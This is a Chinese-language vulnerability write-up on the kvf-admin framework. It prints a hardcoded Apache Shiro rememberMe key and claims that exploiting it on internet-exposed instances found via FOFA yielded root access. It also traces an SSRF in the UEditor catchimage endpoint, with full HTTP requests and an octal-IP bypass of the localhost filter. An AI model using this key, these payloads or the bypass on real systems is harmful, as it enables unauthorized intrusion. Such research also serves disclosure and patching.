项目版本&介绍
kvf-admin是一套快速开发框架、脚手架、后台管理系统、权限系统,上手简单,拿来即用。为广大开发者去除大部分重复繁锁的代码工作,让开发者拥有更多的时间陪恋人、家人和朋友。
部署
项目地址: https://github.com/kalvinGit/kvf-admin?tab=readme-ov-file
根据 readme 导入idea,运行即可
Shiro 硬编码
位于 src/main/java/com/kalvin/kvf/common/shiro/ShiroConfig.java
存在硬编码 key
:2AvVhdsgUs0FSA3SDFAdag==
/**
* cookie管理对象;
* @return cookieRememberMeManager
*/
private CookieRememberMeManager rememberMeManager() {
CookieRememberMeManager cookieRememberMeManager = new CookieRememberMeManager();
cookieRememberMeManager.setCookie(rememberMeCookie());
// rememberMe cookie加密的密钥 建议每个项目都不一样 默认AES算法 密钥长度(128 256 512 位)
cookieRememberMeManager.setCipherKey(Base64.decode("2AvVhdsgUs0FSA3SDFAdag=="));
return cookieRememberMeManager;
}
加上项目本身 JDK 1.8 环境,工具一把梭。Shiro 版本依赖为 1.6.0 所以需要勾选 AES GCM
fofa 互联网资产验证: 成功拿下 root
SSRF
定位传入点
定位到: src/main/java/com/kalvin/kvf/common/ext/ueditor/hunter/ImageHunter.java
存在 isSiteLocalAddress
函数
private boolean validHost ( String hostname ) {
try {
InetAddress ip = InetAddress.getByName(hostname);
if (ip.isSiteLocalAddress()) {
return false;
}
} catch (UnknownHostException e) {
return false;
}
return !filters.contains( hostname );
}
跟进一下函数存在唯一用法
src/main/java/com/kalvin/kvf/common/ext/ueditor/hunter/ImageHunter.java::captureRemoteData
注意到 函数名 validHost
和 captureRemoteData
存在 openConnection
以及下方的资源类型验证推测此处为远程拉取某资源行为。
而我们又知道 isSiteLocalAddress
函数有下面作用
#只能检测:
10/8、172.16/12、192.168/16 以及 IPv6 fec0::/10
很明显对内网检查是不够的。127.0.0.1
169.254.*.*
等均未覆盖。
猜测此处存在 SSRF
, 现在需要找到触发入口。
继续跟进 captureRemoteData
函数唯一用法 src/main/java/com/kalvin/kvf/common/ext/ueditor/hunter/ImageHunter.java::capture
继续跟进 capture
存在唯一用法
src/main/java/com/kalvin/kvf/common/ext/ueditor/ActionEnter.java::invoke
我们继续跟进 invoke
函数两个用法发现,均为 ActionEnter.java::exec
方法的不同条件分支
接着再次跟进 exec
唯一用法
src/main/java/com/kalvin/kvf/common/controller/UEditorController.java::upload
简单分析过此项目即可得知,此处为 UEditor
富文本编辑器文件上传接口。对应后台富文本
调用链传递
知道存在入口,那么现在构造验证即可。
SpingBoot
启用 debug
且在前面invoke
方法打上断点。(由前面单一方法调用直接快速断点)
以及自行理解一下 UEditorcontroller::upload
方法传入
先尝试直接使用富文本获取html得到的请求。
GET /ueditor/upload?configPath=ueditor/config.json&action=config HTTP/1.1
Host: 192.168.216.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Referer: http://192.168.216.1/sys/component/ueditor/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=7666400e-0d8a-4cca-ae22-e788cf7ca39d
Connection: keep-alive
稍微跟进一下这行逻辑,不难发现和 http 请求的 action
参数对应。以及后续通过 action
来进行 switch
分支
往下步入, 要想进入 capture
方法,就需要进入 case ActionMap.CATCH_IMAGE
分支
继续 ctrl + B 跟进 CATCH_IMAGE
定义为 catchimage
说明 action
参数需要设置为 catchimage
。
放行此次请求, 重新构造 action=catchimage
快速步入state = new ImageHunter(storage, conf).capture(list);
发现 list
为空。
此为关键参数,返回跟进 list
来源
可知 来源于 http 请求的传参,其中参数名为:conf.get("fieldName"));
case ActionMap.CATCH_IMAGE:
conf = configManager.getConfig(actionCode);
String[] list = this.request.getParameterValues((String) conf.get("fieldName"));
state = new ImageHunter(storage, conf).capture(list);
break;
我们需要知道 conf.get("fieldName"));
所指代的值: 定位 configManager
为 ConfigManager
对象
ConfigManager
的构造方法 会使用 initEnv
方法进行初始化
继续跟踪就能发现使用 configFileName
初始化 configFileName
为 config.json
在 config.json
中搜索 FieldName
得到 "catcherFieldName": "source",
结合前面 conf.get("fieldName")
得到 从请求中获取一个参数名为 : source[]
的数组作为 list
的值 (getParameterValues
函数并不区分 get
post
)
现在继续回到调用链,重新构造请求 (去除指定 config
仅仅携带 action
分析略)
POST /ueditor/upload?action=catchimage HTTP/1.1
Host: 192.168.216.1
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: */*
Referer: http://192.168.216.1/sys/component/ueditor/index
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=541bad10-0182-4913-9197-949c8a9ce5da
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
source[]=http://127.0.0.1
快速步入得到 list
: http://127.0.0.1
继续步入到 validHost
方法
绕过filters
可以看到轻松过了 isSiteLocalAddress
检测
但是也发现 还存在filters.contains
过滤。其中包含如图 3 个值。
直接 127.0.0.1 看来是行不通的,要绕过也很简单
使用 变体例如: http://0177.0.0.1
(8进制,等效127.0.0.1)
重新改变参数发送请求,成功进入 openConnection
实现 ssrf
后续的文件类型检测已经无所谓,因为 TCP连接已经建立
其他内网段探测,有的没过滤,有的使用类似方法绕过即可。